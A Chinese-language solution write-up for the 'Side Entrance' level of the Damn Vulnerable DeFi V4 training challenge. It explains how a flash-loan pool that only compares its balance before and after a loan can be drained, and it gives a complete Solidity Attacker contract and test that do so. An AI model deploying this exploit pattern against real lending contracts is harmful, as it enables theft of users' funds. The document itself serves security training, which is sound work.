Damn-vulnerable-defi-V4-solution(Side Entrance)
一、Side Entrance
背景:我们有一个pool,允许任何人存入 ETH 并随时提取,它还提供闪电贷。
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore) {
revert RepayFailed();
}
}闪电贷回调接口为 execute,我们需要实现。
interface IFlashLoanEtherReceiver {
function execute() external payable;
}我们借贷需要保证归还 RTH
if (address(this).balance < balanceBefore) {
revert RepayFailed();
}我们可以使用 deposit 和 withdraw 函数
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}攻击逻辑:
我们使用闪电贷来调用我们自己实现的execute,我们的execute通过将所有借入的 ETH deposit到 pool 中,pool 只会判断借贷前后pool 中的以太数量有没有减少,这会让池子认为我们借贷已经归还了 ETH。由于这些 ETH 是我们自己deposit到 pool 中的,所以 pool 中会保存balances[msg.sender]我们拥有的 ETH 数量,我们直接调用withdraw并将资金转入 recover账户即可完成挑战。
我们需要部署一个能够实现execute()其他功能的合约
contract Attacker {
error Attacker__FailedTransaction();
SideEntranceLenderPool pool;
address recover;
constructor(SideEntranceLenderPool _pool, address _recover) {
pool = _pool;
recover = _recover;
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
function attack() external {
pool.flashLoan(1000e18);
pool.withdraw();
(bool success,) = recover.call{value: address(this).balance}("");
if (!success) revert Attacker__FailedTransaction();
}
receive() external payable {} // 注意必须存在 receive 函数不然没法接受任何转账
}
function test_sideEntrance() public checkSolvedByPlayer {
Attacker attacker = new Attacker(pool, recovery);
attacker.attack();
}